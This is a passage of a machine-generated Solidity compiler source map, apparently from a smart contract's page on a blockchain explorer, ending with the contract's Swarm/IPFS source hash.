4:3;2900:20;2897:1;2890:31;2944:4;2941:1;2934:15;2972:4;2969:1;2962:15;2826:161;;2613:380;;;:::o;3359:400::-;3561:2;3543:21;;;3600:2;3580:18;;;3573:30;3639:34;3634:2;3619:18;;3612:62;-1:-1:-1;;;3705:2:1;3690:18;;3683:34;3749:3;3734:19;;3359:400::o;3764:127::-;3825:10;3820:3;3816:20;3813:1;3806:31;3856:4;3853:1;3846:15;3880:4;3877:1;3870:15;3896:127;3957:10;3952:3;3948:20;3945:1;3938:31;3988:4;3985:1;3978:15;4012:4;4009:1;4002:15;4028:120;4068:1;4094;4084:35;;4099:18;;:::i;:::-;-1:-1:-1;4133:9:1;;4028:120::o;4153:112::-;4185:1;4211;4201:35;;4216:18;;:::i;:::-;-1:-1:-1;4250:9:1;;4153:112::o;4270:127::-;4331:10;4326:3;4322:20;4319:1;4312:31;4362:4;4359:1;4352:15;4386:4;4383:1;4376:15;4402:125;4442:4;4470:1;4467;4464:8;4461:34;;;4475:18;;:::i;:::-;-1:-1:-1;4512:9:1;;4402:125::o;4532:128::-;4572:3;4603:1;4599:6;4596:1;4593:13;4590:39;;;4609:18;;:::i;:::-;-1:-1:-1;4645:9:1;;4532:128::o
Swarm Source
ipfs://31f18a207dfa391e251d1b2743fdef6f7fee5c72efced5e03e1ad64bee479eb0